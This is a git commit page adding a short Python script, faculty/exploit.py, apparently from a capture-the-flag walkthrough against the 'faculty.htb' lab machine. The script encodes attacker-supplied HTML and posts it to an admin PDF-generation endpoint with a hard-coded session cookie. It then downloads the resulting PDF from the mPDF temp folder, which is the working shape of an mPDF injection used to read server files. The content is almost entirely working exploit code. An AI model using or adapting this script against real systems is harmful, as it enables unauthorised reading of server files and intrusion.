diff options
author | Raghuram Subramani <raghus2247@gmail.com> | 2022-09-04 05:04:04 -0400 |
---|---|---|
committer | Raghuram Subramani <raghus2247@gmail.com> | 2022-09-04 05:04:04 -0400 |
commit | f914e816092f02a4bbed779ad91a6641e7cc2122 (patch) | |
tree | 1c7dd2f7f2946ac4d80cb6f3147cbd5ec0b2b4af /faculty/exploit.py | |
parent | 869200611b92f0dee181a89ffb8f3f9123794d43 (diff) |
add rooms
Diffstat (limited to 'faculty/exploit.py')
-rw-r--r-- | faculty/exploit.py | 14 |
1 files changed, 14 insertions, 0 deletions
diff --git a/faculty/exploit.py b/faculty/exploit.py new file mode 100644 index 0000000..5bda40d --- /dev/null +++ b/faculty/exploit.py @@ -0,0 +1,14 @@ +import urllib.parse +import urllib.request +import base64 +import requests +import os + +with open('code.html') as h: + code = h.read().strip() +ueCode = urllib.parse.quote(urllib.parse.quote(code)) +b64enc = base64.b64encode(ueCode.encode("ascii")).decode('UTF-8') + +r = requests.post('http://faculty.htb/admin/download.php', data={"pdf": b64enc}, cookies={"PHPSESSID": "s7qhujjj9qmqoeju6enate61nj"}) + +urllib.request.urlretrieve(f'http://faculty.htb/mpdf/tmp/{r.text}', 'file.pdf') |